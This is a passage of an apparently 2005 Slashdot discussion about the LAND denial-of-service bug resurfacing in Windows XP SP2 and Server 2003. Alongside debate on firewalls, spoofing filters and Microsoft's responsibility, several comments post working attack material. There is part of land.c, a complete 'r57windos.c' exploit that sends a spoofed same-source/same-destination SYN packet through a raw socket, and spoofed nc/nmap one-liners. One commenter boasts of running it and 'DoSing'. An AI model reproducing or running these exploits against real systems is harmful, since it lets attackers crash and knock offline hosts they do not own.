    tcpheader->th_flags=TH_SYN;
    tcpheader->th_of f=sizeof(struct tcphdr)/4;
    tcpheader->th_win=htons(2048);

    bzero(&pseudoheader,12+sizeof(struct tcphdr));
    pseudoheader.saddr.s_addr=sin.sin_addr. s_addr;
    pseudoheader.daddr.s_addr=sin.sin_addr.s_ addr;
    pseudoheader.protocol=6;
    pseudoheader.leng th=htons(sizeof(struct tcphdr));
    bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
    tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
    ---snip---

  50. Why wouldn't it be? by Anonymous Coward · · Score: 1, Funny

    Being a military type, I would assume that yes, most computers are vulnerable to the majority of conventional land-based assualts. This is due more to physics than software.

  51. Explanation of LAND attack by Tethys_was_taken · · Score: 2, Informative
    Found inside the source file:
    Date: Thu, 20 Nov 1997 19:40:19 -0500
    Reply-To: m3lt <meltman@LAGGED.NET>
    Subject: new TCP/IP bug in win95

    hi,

    i recently discovered a bug which freezes win95 boxes. here's how
    it works: send a spoofed packet with the SYN flag set from a host, on an open
    port (such as 113 or 139), setting as source the SAME host and port
    (ie: 10.0.0.1:139 to 10.0.0.1:139). this will cause the win95 machine to lock
    up.

    the piece of code included in this message does that, so... have fun!

    i haven't tested this bug on other platforms, i don't have the
    ressources. please feel free to do so.

    m3lt
    meltman@lagged.net
  52. The sky is falling, the sky is falling by hkb · · Score: 0, Flamebait

    This incident is just another example which demonstrates the importance that KDE, Mozilla & Mozilla Firefox's open source culture places on security. Hasn't anyone at Mozilla and KDE ever heard about regression testing?

    This incident is just another example which demonstrates the importance (or more accurately, the lack thereof) that Linux's open source culture places on security. Hasn't anyone at Linux ever heard about regression testing?

    Open source has consistantly (sic) demonstrated that, regardless of what their press releases say, security is NOT one of their priorities. People need to start waking up and realizing this before they entrust their critical infrastructure to open source products.

    See how stupid your comment is? No? Didn't think so.

    --
    /* Moderating all non-anonymous trolls up since 2004 */
    1. Re:The sky is falling, the sky is falling by Anonymous Coward · · Score: 0

      you are attempting to compare a bug that spoofs the URL of a website with one that will crash the entire system.

      man you seriousely need to get a window in your stomach.

    2. Re:The sky is falling, the sky is falling by B3ryllium · · Score: 1

      Did you just tell him to go and Teletubby himself?

      Ouch. Burn.

    3. Re:The sky is falling, the sky is falling by runderwo · · Score: 1

      Except the parent didn't mention Mozilla, Linux, or Open Source. For all you know, he might consider them all as equally inept at security as Microsoft. Nice straw man, though.

    4. Re:The sky is falling, the sky is falling by hkb · · Score: 1

      Actually, I just went and read his past comments. Not too hard, is it?

      --
      /* Moderating all non-anonymous trolls up since 2004 */
  53. This was close... by saigon_from_europe · · Score: 2, Funny

    Just 5 minutes before I read this post, I turned firewall on my WinXP SP2 machine off, testing someting on our LAN.

    Can you imagine what amount of fear I felt when I realized that this guy lived only 2 miles from my office...

    --
    No sig today.
  54. Damnit! by GoNINzo · · Score: 3, Interesting

    I pointed this out YEARS ago. I just don't understand why the updated winsock didn't get used in 2k when they overhauled the tcp stack. (and wow is that an old email addy. heh)

    --
    Gonzo Granzeau
    "Nothing the god of biomechanics wouldn't let you into heaven for.." -Roy Batty
  55. aw, there goes the Mean Time to Patch by galdur · · Score: 1

    ... down the toilet

  56. Mod parent down by Ulric · · Score: 5, Insightful

    That's a list of operating systems from 1997, taken out of an exploit from 1997. Linux 2.0.30? Novell 4.11? Solaris 2.5.1?

    1. Re:Mod parent down by Anonymous Coward · · Score: 0

      No offense, but the list includes version numbers, so its pretty clear its not a current list.

    2. Re:Mod parent down by FreeUser · · Score: 3, Insightful

      No offense, but the list includes version numbers, so its pretty clear its not a current list.

      It's also clear that (outside of the Microsoft world) newer versions won't suffer the same vulnerability, nor will it be allowed to persist if somehow the same bug does sneak back into the codebase.

      I sometimes wonder if there's a single Microsoft shill or fan with an IQ that breaks triple digits ... I only wish their lobbiests in Europe were so ineffective ... the western world might have been spared its downward spiral into technological backwaterhood...a downward spiral the Chinese have been (and probably will continue to remain) smart enough to recognize as against their national interest and avoid (yes, I'm talking about software patents. Sue me).

      --
      The Future of Human Evolution: Autonomy
    3. Re:Mod parent down by Skuld-Chan · · Score: 1

      I do support for a series of accounting applications made for glass shops - some of our older apps run on Novell 3 and 4 still.

    4. Re:Mod parent down by Anonymous Coward · · Score: 0

      You have used our trademark phrase "Sue me" You will be eharing from our lawyers.

      Sue me inc.

    5. Re:Mod parent down by anvil+{UK} · · Score: 1

      so

      non-ms products have never suffered from re-introductions of old vulnerabilities.

      People who use microsoft are stupider than the average member of the public.

      The us and 'old' europe are technological backwaters compared to china (and presumably africa and south america).

      and of course all the above comes from an 'insightful' post. well yes i suppose if posturing and random assertions are insightful.

    6. Re:Mod parent down by Anonymous Coward · · Score: 0

      Welcome to Slashdot! We can give anyone a run for their money with the sheer numbers of total fucking crazies we've got here! Like ole FreeUser thar, and the nutbags who thought it was "insightful".

  57. Re:I know its been around, but...Linking to source by Anonymous Coward · · Score: 0
    I know the land attack is old, but still, linking to a .c ?

    HA! linking to a whole C file... You'd think they'd just link to a 2-line perl script.

  58. Exploit by Anonymous Coward · · Score: 1, Informative
    Courtesy of the fine (French) folk at k-otik.org... an exploit. Curse this slashcode lameness filter...

    #define _BSD_SOURCE #include #include #include #include #include #include #include #include #include #include #include /* Windows Server 2003 and XP SP2 remote DoS exploit Tested under OpenBSD 3.6 at WinXP SP 2 Vuln by Dejan Levaja (c)oded by __blf 2005 RusH Security Team , http://rst.void.ru Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy All rights reserved. */ //checksum function by r0ach u_short checksum (u_short *addr, int len) { u_short *w = addr; int i = len; int sum = 0; u_short answer; while (i > 0) { sum += *w++; i-=2; } if (i == 1) sum += *(u_char *)w; sum = (sum >> 16) + (sum & 0xffff); sum = sum + (sum >> 16); return (~sum); } int main(int argc, char ** argv) { struct in_addr src, dst; struct sockaddr_in sin; struct _pseudoheader { struct in_addr source_addr; struct in_addr destination_addr; u_char zero; u_char protocol; u_short length; } pseudoheader; struct ip * iph; struct tcphdr * tcph; int mysock; u_char * packet; u_char * pseudopacket; int on = 1; if( argc != 3) { fprintf(stderr, "r57windos.c by __blf\n"); fprintf(stderr, "RusH Security Team\n"); fprintf(stderr, "Usage: %s \n", argv[0]); return EX_USAGE; } if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL) { perror("malloc()\n"); return EX_OSERR; } inet_aton(argv[1], &src); inet_aton(argv[1], &dst); iph = (struct ip *) packet; iph->ip_v = IPVERSION; iph->ip_hl = 5; iph->ip_tos = 0; iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr)); iph->ip_off = htons(IP_DF); iph->ip_ttl = 255; iph->ip_p = IPPROTO_TCP; iph->ip_sum = 0; iph->ip_src = src; iph->ip_dst = dst; tcph = (struct tcphdr *)(packet +sizeof(struct ip)); tcph->th_sport = htons(atoi(argv[2])); tcph->th_dport = htons(atoi(argv[2])); tcph->th_seq = ntohl(rand()); tcph->th_ack = rand(); tcph->th_off = 5; tcph->th_flags = TH_SYN; // setting up TCP SYN flag here tcph->th_win = htons(512); tcph->th_sum = 0; tcph->th_urp = 0; pseudoheader.source_addr = src; pseudoheader.destination_addr = dst; pseudoheader.zero = 0; pseudoheader.protocol = IPPROTO_TCP; pseudoheader.length = htons(sizeof(struct tcphdr)); if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL) { perror("malloc()\n"); return EX_OSERR; } memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader)); memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr)); tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr)); mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if(!mysock) { perror("socket!\n"); return EX_OSERR; } if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("setsockopt"); shutdown(mysock, 2); return EX_OSERR; } sin.sin_family = PF_INET; sin.sin_addr = dst; sin.sin_port = htons(80); if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, (struct sockaddr *)&sin, sizeof(sin)) == -1) { perror("sendto()\n"); shutdown(mysock, 2); return EX_OSERR; } printf("Packet sent. Remote machine should be down.\n"); shutdown(mysock, 2); return EX_OK; }
    1. Re:exploit by Anonymous Coward · · Score: 0

      Another exploit http://www.security.nnov.ru/news4555.html http://www.security.nnov.ru/files/newLand.zip. Windows 2000 SP4 and Windows XP SP1 are not vulnerable to this problem. So, it seems they have introduced the problem in SP2 :) Ironic if you ask me ...

    2. Re:Exploit by datentod · · Score: 1

      Running on FreeBSD 5.3, trid the bsd source but it fails... Whats wrong??

      > cc 444.c
      In file included from 444.c:7: /usr/include/netinet/in_systm.h:49: error: syntax error before "n_short" /usr/include/netinet/in_systm.h:50: error: syntax error before "n_long" /usr/include/netinet/in_systm.h:52: error: syntax error before "n_time"
      In file included from 444.c:8: /usr/include/netinet/ip.h:49: error: syntax error before "u_int" /usr/include/netinet/ip.h:148: error: syntax error before "u_char" /usr/include/netinet/ip.h:160: error: syntax error before "n_long" /usr/include/netinet/ip.h:163: error: syntax error before "n_long" /usr/include/netinet/ip.h:200: error: syntax error before "u_char"
      In file included from 444.c:9: /usr/include/netinet/tcp.h:40: error: syntax error before "tcp_seq" /usr/include/netinet/tcp.h:41: error: syntax error before "tcp_cc" /usr/include/netinet/tcp.h:51: error: syntax error before "u_short"
      444.c: In function `main':
      444.c:74: error: structure has no member named `ip_v'
      444.c:75: error: structure has no member named `ip_hl'
      444.c:76: error: structure has no member named `ip_tos'
      444.c:77: error: structure has no member named `ip_len'
      444.c:78: error: structure has no member named `ip_off'
      444.c:79: error: structure has no member named `ip_ttl'
      444.c:80: error: structure has no member named `ip_p'
      444.c:81: error: structure has no member named `ip_sum'
      444.c:85: error: structure has no member named `th_sport'
      444.c:86: error: structure has no member named `th_dport'
      444.c:87: error: structure has no member named `th_seq'
      444.c:88: error: structure has no member named `th_ack'
      444.c:89: error: structure has no member named `th_off'
      444.c:90: error: structure has no member named `th_flags'
      444.c:91: error: structure has no member named `th_win'
      444.c:92: error: structure has no member named `th_sum'
      444.c:93: error: structure has no member named `th_urp'
      444.c:106: error: structure has no member named `th_sum'

  59. Malware by aug24 · · Score: 2, Insightful

    Would all you morons shouting about firewalls shut up for thirty seconds and consider the following scenario:

    User is in big corp behind firewall.
    User receives email claiming to be something or other.
    User runs attachment.
    All 'doze boxes in big corp stop working.

    Firewalls are (a) not the answer to all crap coding and (b) not perfect solutions even so.

    Justin.

    --
    You're only jealous cos the little penguins are talking to me.
    1. Re:Malware by Ahnteis · · Score: 1

      That's why you don't give your users unlimited power.

      Disable attachments.
      Or have desktop firewall ALSO.
      Or disable unknown programs.
      OR etc etc etc.

    2. Re:Malware by Anonymous Coward · · Score: 0

      >User runs attachment.

      c. they are not the answer to crap admin policies either

    3. Re:Malware by cortana · · Score: 1

      Why is the user running with privileges that allow them to create raw sockets?
      Why wasn't this email dropped on delivery to their email server?
      Why does their email program allow them to execute attachments?
      Why isn't their internal network segregated so that traffic between two hosts that don't need to talk to each other (eg, two workstations) is dropped?

      Serious answer: Firewalls are only one of many tools that you can use to reduce exposure.

      Flippant answer: this hypothetical office of which you speak is none other than that of... Valve Software!

    4. Re:Malware by aug24 · · Score: 1

      I agree with all your points... in fact they serve to demonstrate the point I was making, which is exactly your point too!

      --
      You're only jealous cos the little penguins are talking to me.
    5. Re:Malware by aug24 · · Score: 1

      Thank you, yes, that was my point! All the people going 'if the firewall's not there it serves you right' have just failed to secure their environment, for exactly the reasons you mention.

      --
      You're only jealous cos the little penguins are talking to me.
  60. Back in the day... by Anonymous Coward · · Score: 0

    Back in the day..
    I remember using BitchX on my old Slackware machine on a 10base2 lan connection at work..

    Hanging out in the popular IRC channels armed with some onjoin and onexit and mass nuke scripts. Wiping people out left and right. Others would improve the scripts to the point a few clicks and you could basically wipe out whoever you wanted and spoof the source address. At first people were confused but eventually people started to catch on that something strange was going on. People that patched were still hanging around and would try to offer help to others. I remember some of the patched guys threating to report to the IP address of the people doing the nuking to the ISP and to the ops. Of course the scripts would use the source IP address of the destination so they in fact looking real stupid complaining about themselves. "Hey asshole at 204.123.123.123, I see you trying to nuke me", shortly after the ops would ban that person because that was his own address. There were other quite a few large holes back then that would effect many different systems. If I remember correctly, it was ssping, winnuke, and land, all showed up withing weeks of each other. Luckily I also had access to a DEC machine shell from a CS department friend at a college campus and could connect back to the Linux channels with IRC on that machine to see what was going on and what needed patched, recompile whatever with the patches and get my Linux machine back on. It was a fun few months. Back then MS security consisted of blaming the rouge users for sending packets that should not be on a network instead of accepting responsibility for their machines crashing because of it. Meaning, they played this off as their software was not the problem, it was the Linux and Unix people that needed fixed because they allowed these packets to be sent in the first place. All the while, everyone with MS software could not stay online for more then a few minutes before hard locking. It was fun while it lasted. I learned more about networking and Linux in that 3 months then any other 3 month period since.

  61. Re:I know its been around, but...Linking to source by irc.goatse.cx+troll · · Score: 1

    The source and description are essentially the same, its a very simple attack, you don't really need a c compiler on most machines to pull it off:

    nc -s $IP $IP 113
    nmap -sS -s $IP $IP -p 113

    or anything else that lets you connect with a spoofed ip.

    --
    Pain lasts, kid. Its how you know you're alive. Sometimes I think this growing up thing is just pain management-TheMaxx
  62. You know what this means by Anonymous Coward · · Score: 0

    Updates to TCPIP.SYS which will invalidate the lvllord Event 4226 patch.

  63. It works. Whoo. by Anonymous Coward · · Score: 1, Interesting

    Had to hack the old land.c to compile on my FC 3 machine, but it works nicely.

    Every packet causes about 10 seconds of heavy CPU usage on Windows Server 2003. Ditto for Windows XP SP2.

    Processes like a CS server running on the XP box were completely unresponsive. Let the DoSing begin.

  64. Wow...the Land Attack is an Oldie but a Goodie by The+Infamous+TommyD · · Score: 1

    Spaf and I dissected it back in 98: http://portal.acm.org/citation.cfm?id=353697

    The interesting thing about land is that it resulted from two different interpretations of the RFC. One said send X in this state and another said Y. Hence, lots of unrelated protocol stacks had the vulnerability while others didn't.

  65. You know, you'd think that by Sycraft-fu · · Score: 1

    But then you'd also think people would use good passwords, and not open virused attachments over and over. Working in the computer support industry, I can tell you that none of these are the case. People suck at the Internet. Though the instructions they need to follow are simple, as simple as say auto saftey, they simply refuse to learn.

    For example, we have a lab here that chooses to maintain their own systems, rather than allowing us to do so. Their stated goal is network research, they are supposedly people that know about networking. So we get a call that we have a machine doing naughty things in the building, track it down, it's in that lab. It's a Linux system that nobody can figure out the password to because it's been completely 0wned. So we tell them to wipe it and so on. Next day, another call, and it's the same computer. Why? Well they just reinstalled the same old version of RedHat, with a load of services turned on, and didn't patch it. They were baffeled as to why this was a problem.

    Now this is just one of my favourite examples, I can pick from hundreds, and I've only worked here a year. There are users who will open virused e-mail attachments over and over, users that spyware their computers to the point of unusability, and so on. It happens ALL the time, and indeed we spend a considerable amount of our budget getting technology ot protect users from themselves (like a departmental firewall, e-mail filter, etc).

    Now, worst of all, we are a techical department, an engineering department. These aren't art majors here, and they still don't protect their computers.

    So no, it's not valid to assume most people are safe, in fact I'd assume most people are not safe.

  66. They should have listened to the Great Vizzini: by __aamkky7574 · · Score: 1

    "Never get involved in a land war in Asia."

    P.

  67. It means more than you think... by Paradox · · Score: 2, Insightful

    Everytime MS has a security bug that causes millions in damage, MS gets a little bit more egg on their face.

    So now we have Bill Gates and co. coming out and saying, "Windows is our #1 priority." Everyone feels better, because hey... Bill's on the case right?

    Then, out of left-field, it turns out that Windows is vulnerable to an exploit that's practically ancient in the biz. And what if you can get through the firewall somehow? Or what if you're cruising around wireless networks on a laptop?

    This kind of one-shot lockup is something from the dark ages of computing. Everyone's confidence in MSshould be lowered even further.

    --
    Slashdot. It's Not For Common Sense
  68. Re:I know its been around, but...Linking to source by mrseigen · · Score: 1

    The exploit is seven years old; linking to it will not cause an internet kill frenzy.

  69. That attack is powerful by dustmite · · Score: 1

    All I did was click on and open the c file, and Visual Studio .NET locked up while loading it, bringing Explorer down with it and rendering my system useless.

  70. I posted this as reply to another post by Prince+Vegeta+SSJ4 · · Score: 1
    but I see it would be more relevant here

    SP2 if by LAND, and SP3 if by Sea, lord help us when we get to SP6. ducks

  71. One if by Land, two if by sea by Anonymous Coward · · Score: 0

    For all those Paul Revere fans out there! :)

    Any Nominus

  72. Cry me a river... by east+coast · · Score: 1

    From the blurb: Granted, you need to have the firewall turned off for this work, but there's a whole lotta machines that don't have it turned on.

    Uh.... so what? The firewall lets you know you're not protected if it's not active. Let idiots suffer if they're too stupid to do what they need to do. FWIW; I think Microsoft's firewall fix is enough in the case of the mass user.

    --
    Dedicated Cthulhu Cultist since 4523 BC.
    1. Re:Cry me a river... by Anonymous Coward · · Score: 0

      Using this exploit you can take down any website that is run with IIS. If you want to run a public website you must have port 80 open which means you are vulnerable.

    2. Re:Cry me a river... by OdieWan · · Score: 1

      Interestingly, to activate a cable modem with Comcast where I live right now, you have to turn off the firewall with XP and run some special software... Then you get exposed to the wonders of the "high speed internet" for several minutes before you can turn it back on again (assuming you remember)... I wonder how many complaints they get that their cable modem "made my computer slow"....

  73. exploit by imipak · · Score: 4, Informative
    Courtesy of the fine (French) folk at k-otik.org... an exploit.

    Unfortuntately the b0rked Slashdot lameness filter won't allow code to be posted even when 'post as code' is selected :?

  74. Requires local network access in most cases? by LodCrappo · · Score: 2, Interesting

    Since this attack sends a packet with a source address of the target host rather than the attacker, won't this attack fail in a vast majority of remote situations (i.e. via Internet or not on the same LAN as the target)?? Doesn't almost every ISP filter outgoing packets for a bit of sanity, especially valid (or reasonable) source addresses? I know my ISPs at home (Adelphia cable) and work (AT&T data) do.

    --
    -Lod
    1. Re:Requires local network access in most cases? by Anonymous Coward · · Score: 0

      Well... you know AOL probably doesn't block it..

    2. Re:Requires local network access in most cases? by bruns · · Score: 1

      Hah, yeah right.

      Honestly, there are still quite a few ISPs out there that DON'T do proper filtering on incoming packets, let alone outgoing packets.

      The spammers are getting smart and using these tricks to get around port 25 blocks, for example. Use a dialup account, and route outbound traffic from the dialup IP via a company's T1/T3.

      Ever wonder why DDoS attacks are hard to track proper at times? Well, now you know. Because of the lack of proper filtering on alot of networks, drones can easily spoof.

      --
      Brielle
    3. Re:Requires local network access in most cases? by kindbud · · Score: 1

      Doesn't almost every ISP filter outgoing packets for a bit of sanity, especially valid (or reasonable) source addresses?

      No, they don't. I have Adelphia at home, and can send packets with any source address I can generate. It is not as common a practice as it could or should be. I am sure that the gazillion UU.net access points leased to a half-gazillion ISPs large and small do not filter source addresses.

      --
      Edith Keeler Must Die
    4. Re:Requires local network access in most cases? by kayditty · · Score: 1

      I don't know why it took so long for someone to atleast hint of the problems behind this exploit. Slashdot is truly full of morons. "Doesn't almost every ISP filter outgoing packets for a bit of sanity" Yes, many of them do. Many of them also prevent spoofing from netblocks that aren't registered in their routing tables. Not to mention that most people who are behind NATs will not be in a 'demilitarized' zone and cannot receive arbitrary packets. However, for those that are, you still need to take it upon yourself to initiate NAT disclosure in order to get their LAN IP - which is sometimes trivial with certain home 'routers.'

  75. Might as well unplug it by XSforMe · · Score: 3, Insightful

    The idea behind a server (such as the affected W2K3 server) being connected to a network is to provide a service to the clients. If the machine is not fit to provide services to the network, might as well go back to the store and ask for a reimbursment and exchange to XP workstation.

    The only safe way to safely run this server is to place it behind a SPI firewall. Packet filters will have a hard time detecting and blocking this kind of attack, you will need a full blown SPI to defend and block against these attacks.

    SMCs, Linksys and other consumer level firewall seem to be vulnerable to this thing, the only thing that might save your server is the NAT they might provide. Of course if you are running your server on a public routable IP, then you better start thinking of running a serious setup there.

    --
    My other OS is the MCP!
    1. Re:Might as well unplug it by james_a_craig · · Score: 1

      You don't need stateful packet inspection to tell you that source address & port == destination address & port - land isn't a particularly subtle attack. :-)

    2. Re:Might as well unplug it by SillyNickName4me · · Score: 1

      > The only safe way to safely run this server is to place it behind a SPI firewall. Packet filters will have a hard time detecting and blocking this kind of attack, you will need a full blown SPI to defend and block against these attacks.

      Hmmmmmmm... source address == destination address == address of the protected server. Filtering that on the ip level does not seem so difficult, it is not a condition that occurs in any normal situation on an outside interface, could you explain why that is not possible and a full SPI firewall would be needed?

    3. Re:Might as well unplug it by headLITE · · Score: 1

      Packet filters will have what?
      What's wrong with iptables -A FORWARD -s protected.server.ip -d protected.server.ip -j DROP?

    4. Re:Might as well unplug it by XSforMe · · Score: 1

      You don't need stateful packet inspection to tell you that source address & port == destination address
      Yea, that is true. Still I would be impressed if all SOHO routers could block this kind of attack (at least without being tweaked/upgraded). Many of these devices do nothing more than a table look up of the protocol/destination port.

      --
      My other OS is the MCP!
  76. Turn off the firewall? by prisoner-of-enigma · · Score: 3, Informative

    Granted, you need to have the firewall turned off for this work, but there's a whole lotta machines that don't have it turned on.

    OK, so what you're saying is that in order for XP to be vulnerable, it must be directly connected to the Internet, the user must specifically have disabled the firewall, and no intermediate firewall must be present.

    At what point do we cease blaming Microsoft for stupid user tricks? I mean, Microsoft has freely given SP2 to anyone who wants it. Pretty soon it will be a mandatory download from WindowsUpdate. People bitched and moaned for years that Microsoft didn't do enough for security and didn't default to having updates apply automatically. But when Microsoft finally does improve security (with a better firewall) and tries to turn it all on by default, everyone griped. Damned if you do...

    Look, if a Windows zealot took something like Fedora, turned on a bunch of services, turned off the firewall, and then griped because his box got hacked, Slashdotters everywhere would be screaming that this guy was a fool, that Linux security is great when it's not sabotaged by an idiot at the keyboard. And they'd be right. But when an attack requires that a Windows user actively subvert the very security measures Microsoft's put in place to protect him, everybody blames Microsoft. Nope, no bias to see here, citizens, please move along.

    --
    In the end they will lay their freedom at our feet and say to us, Make us your slaves, but feed us. - Fyodor Dostoyevsky
    1. Re:Turn off the firewall? by nsayer · · Score: 1
      Look, if a Windows zealot took something like Fedora, turned on a bunch of services, turned off the firewall, and then griped because his box got hacked, Slashdotters everywhere would be screaming that this guy was a fool, that Linux security is great when it's not sabotaged by an idiot at the keyboard. And they'd be right. But when an attack requires that a Windows user actively subvert the very security measures Microsoft's put in place to protect him, everybody blames Microsoft.

      You're comparing apples and oranges here. On the one hand, you're turning on lots of services. On the other, you're turning off a firewall, put in place because of the bizarre range services that are effectively not optional on a Windows machine. That latter issue is sufficient to damn Windows, but not being able to handle the LAND attack is even worse. If you so much as open a single port - say, port 80 to a copy of Apache running on that Windows machine (you'd not be so foolish as to use IIS, after all), your machine can be DOSsed silly.

      No, this is not only really bad, but it's also really, really stupid.

    2. Re:Turn off the firewall? by kindbud · · Score: 1

      At what point do we cease blaming Microsoft for stupid user tricks?

      The LAND bug was fixed long ago, before any firewalls were shipped with Windows. This is a very old bug that has managed to creep back into the code for the TCP stack somehow. It isn't the user's fault. The firewall, by the way, is not an acceptable fix for the LAND bug. The acceptable fix is for the stack not to crash the machine when presented with malformed input. The host should still run a firewall, but as a separate layer of security apart from basic input hygiene in the stack. But in any case, the developers have no excuse for re-introducing 8-year-old exploits into new code.

      --
      Edith Keeler Must Die
    3. Re:Turn off the firewall? by prisoner-of-enigma · · Score: 1

      The LAND bug was fixed long ago, before any firewalls were shipped with Windows. This is a very old bug that has managed to creep back into the code for the TCP stack somehow. It isn't the user's fault.

      Yes, it's deplorable when an already-fixed bug finds its way back into production code. And I suppose that's never, ever, ever happened with Linux, has it? Yet when it does, nobody here raises a fuss about it like they do when someone at Microsoft screws up. Typical Slashdot double standard.

      --
      In the end they will lay their freedom at our feet and say to us, Make us your slaves, but feed us. - Fyodor Dostoyevsky
    4. Re:Turn off the firewall? by prisoner-of-enigma · · Score: 1

      You're comparing apples and oranges here. On the one hand, you're turning on lots of services.

      Not necessarily. If I answer a few questions properly during a Red Hat install, a lot of questionable services (BIND, SMTP, FTP, SAMBA) could be already on without a user having to do much of anything post-install, just like Windows. Not that there's anything to fear from BIND or Sendmail, of course, since none of these apps have every had any security faults, rootkits, or other exploits, right? Yeah, I thought so.

      If you so much as open a single port - say, port 80 to a copy of Apache running on that Windows machine (you'd not be so foolish as to use IIS, after all), your machine can be DOSsed silly.

      Very true. And if I open up a single port on Linux and I'm running a version of Apache with a known DDoS exploit (such as any of these, two of which remain unpatched) I can get identical results. And in some cases you don't even need to open a port because 2.6 has more than a few kernel exploits available (36 to date, with 15 remaining unpatched) that can cause everything from privilege escalation to DDoS. Where's your moral indignation now? Or has it been dampened somewhat by the fact that you'd have to sling mud objectively?

      No, this is not only really bad, but it's also really, really stupid.

      OSS programmers can be lumped into this same category, as they have made and continue to make many of the same mistakes. Again, I'm not saying Microsoft is above criticism here -- far from it. Call them on the carpet, nail them to the wall, whatever you want. But if we're going to scream at Microsoft for making stupid programming mistakes, we have to be willing to do the same for OSS. Funny how the latter half of that argument never seems to materialize on a so-called "enlightened" site like Slashdot.

      --
      In the end they will lay their freedom at our feet and say to us, Make us your slaves, but feed us. - Fyodor Dostoyevsky
    5. Re:Turn off the firewall? by nsayer · · Score: 1
      And in some cases you don't even need to open a port because 2.6 has more than a few kernel exploits available (36 to date, with 15 remaining unpatched) that can cause everything from privilege escalation to DDoS. Where's your moral indignation now?



      Still intact. I run FreeBSD. :-)



      Seriously, though, I would say that kernel level issues are far more serious than application issues - mostly because of the obvious wide scope of the kernel. Thus, I still say your comparison of bugs in Apache to bugs in Windows' TCP stack doesn't quite cut the mustard even if the outcome is the same.



      But if we're going to scream at Microsoft for making stupid programming mistakes, we have to be willing to do the same for OSS.



      I concur. Hopefully, this incident will give folks an incentive to try out LAND (among other things) against the *BSDs and Linux just to make sure nothing has regressed over time. It's quite possible that someone, either in Microsoft or elsewhere, could look at checks for things like LAND (especially if they're not well commented) and say, "What's this doing in here? It looks redundant. Let's get rid of it."



      And if that happened, it's stupid, regardless of who's OS is involved.


    6. Re:Turn off the firewall? by kindbud · · Score: 1

      Can't address the topic? Easy! Change subjects! You must have learned that from right-wing pundits.

      All I said was that it wasn't the user's fault that this bug was back again. And it isn't the user's fault.

      This article is not about re-appearing bugs in Linux. That's why I didn't mention anything about whose fault they were. Otherwise, I'd have made a comment about it not being Linux users' fault.

      Happy now?

      --
      Edith Keeler Must Die
    7. Re:Turn off the firewall? by prisoner-of-enigma · · Score: 1

      Can't address the topic? Easy! Change subjects! You must have learned that from right-wing pundits.

      Can't understand plain-written English that is on-topic? Easy! Act like the parent post changed the topic! You must have learned that from left-wing Deanie Babies.

      All I said was that it wasn't the user's fault that this bug was back again. And it isn't the user's fault.

      Something I, oddly enough, agreed with you upon. However, in order for the bug to be exploited, the user would have to manually disable the firewall which Microsoft by default enables. Ergo, the bug isn't the user's fault, but getting exploited by it would be. I know logic is difficult for you to follow, so if I left you behind somewhere, must go back a re-read this paragraph again. Don't worry, I'll wait.

      This article is not about re-appearing bugs in Linux.

      No, it's not, but the very fact that it isn't even mentioned that similar fates befall Linux regularly and nobody here complains point to an overriding bias.

      Happy now?

      I'm not mad, I'm just differently happy.

      --
      In the end they will lay their freedom at our feet and say to us, Make us your slaves, but feed us. - Fyodor Dostoyevsky
    8. Re:Turn off the firewall? by prisoner-of-enigma · · Score: 1

      Still intact. I run FreeBSD. :-)

      Touche, good sir.

      Thus, I still say your comparison of bugs in Apache to bugs in Windows' TCP stack doesn't quite cut the mustard even if the outcome is the same.

      I can see your point, but to an end user, if the results are the same, does it really matter to them that it was an app-level exploit or a kernel-level one? I doubt it.

      And if that happened, it's stupid, regardless of who's OS is involved.

      Agreed in full. I'm no friend of Microsoft, but I do recognize that applying a double standard to Linux will ultimately allow a laxity in OSS development that will, in the end, weaken OSS. Since I'm all for strong competition against Microsoft, I'm all for strong and objective criticism of Linux (and BSD!) as well.

      --
      In the end they will lay their freedom at our feet and say to us, Make us your slaves, but feed us. - Fyodor Dostoyevsky
    9. Re:Turn off the firewall? by ChaosDiscord · · Score: 2, Interesting
      OK, so what you're saying is that in order for XP to be vulnerable, it must be directly connected to the Internet, the user must specifically have disabled the firewall, and no intermediate firewall must be present.

      Although it's a good idea to have an intermediate firewall to catch obviously bogus packets, that's not an excuse for Microsoft to be sloppy.

      As for disabling the firewall, while that's probably a bad idea for Joe Home User, what if I want to run my web site off of a Window XP box? Presumably I'm going to have open up a hole to port 80 so people can connect to it. That open port becomes a target for this attack. Firewalls aren't magic pixie dust that just makes everyone bad go away while leaving everything good alone.

      (It's possible the firewall has specific code to block this type of bogus packet even on open ports, but that isn't clear. Even if it does it's a bloody stupid.)

      To suggest that it's not serious since everyone should just use a firewall is to suggest that Windows XP is not suitable for running network services. While I'm prone to agree, it's hardly a rousing defense of the operating system.

    10. Re:Turn off the firewall? by kindbud · · Score: 1

      Ergo, the bug isn't the user's fault, but getting exploited by it would be.

      I can turn off the firewall on any modern Linux distro and it won't be zapped by an 8-year old exploit.

      It is still not the user's fault. It is Microsoft's.

      --
      Edith Keeler Must Die
    11. Re:Turn off the firewall? by entrigant · · Score: 1

      A security vulnerability behind a firewall is still a security vulnerability. Hiding behind a firewall should not be the solution.

      Don't get me wrong. I understand the reasons for using a firewall to help prevent attacks against undisclosed or unknown security holes in a system, but that doesn't mean developers shouldn't strive to develop software that doesn't need one.

      The fact that XP SP2 is vulnerable to this is NOT the fault of the user, and I'm amazed you'd dare try to pin it on them. Microsoft should have learned this lesson 8 years ago when they fixed the problem in Windows 95. Hell even Linux was vulnerable to the attack iirc, but Linux is still immune to it. Perhaps the user could have taken more precautions to avoid being exposed to it, but the very fact that it exists is not their fault.

    12. Re:Turn off the firewall? by comet69 · · Score: 1

      did someone say "Ergo"??

      what the fuck?? this isn't the matrix.. and this isn't Latin 101 either..

      --
      - Hi I'm Linus Torvalds and I pronounce Linux, Lih-nix..
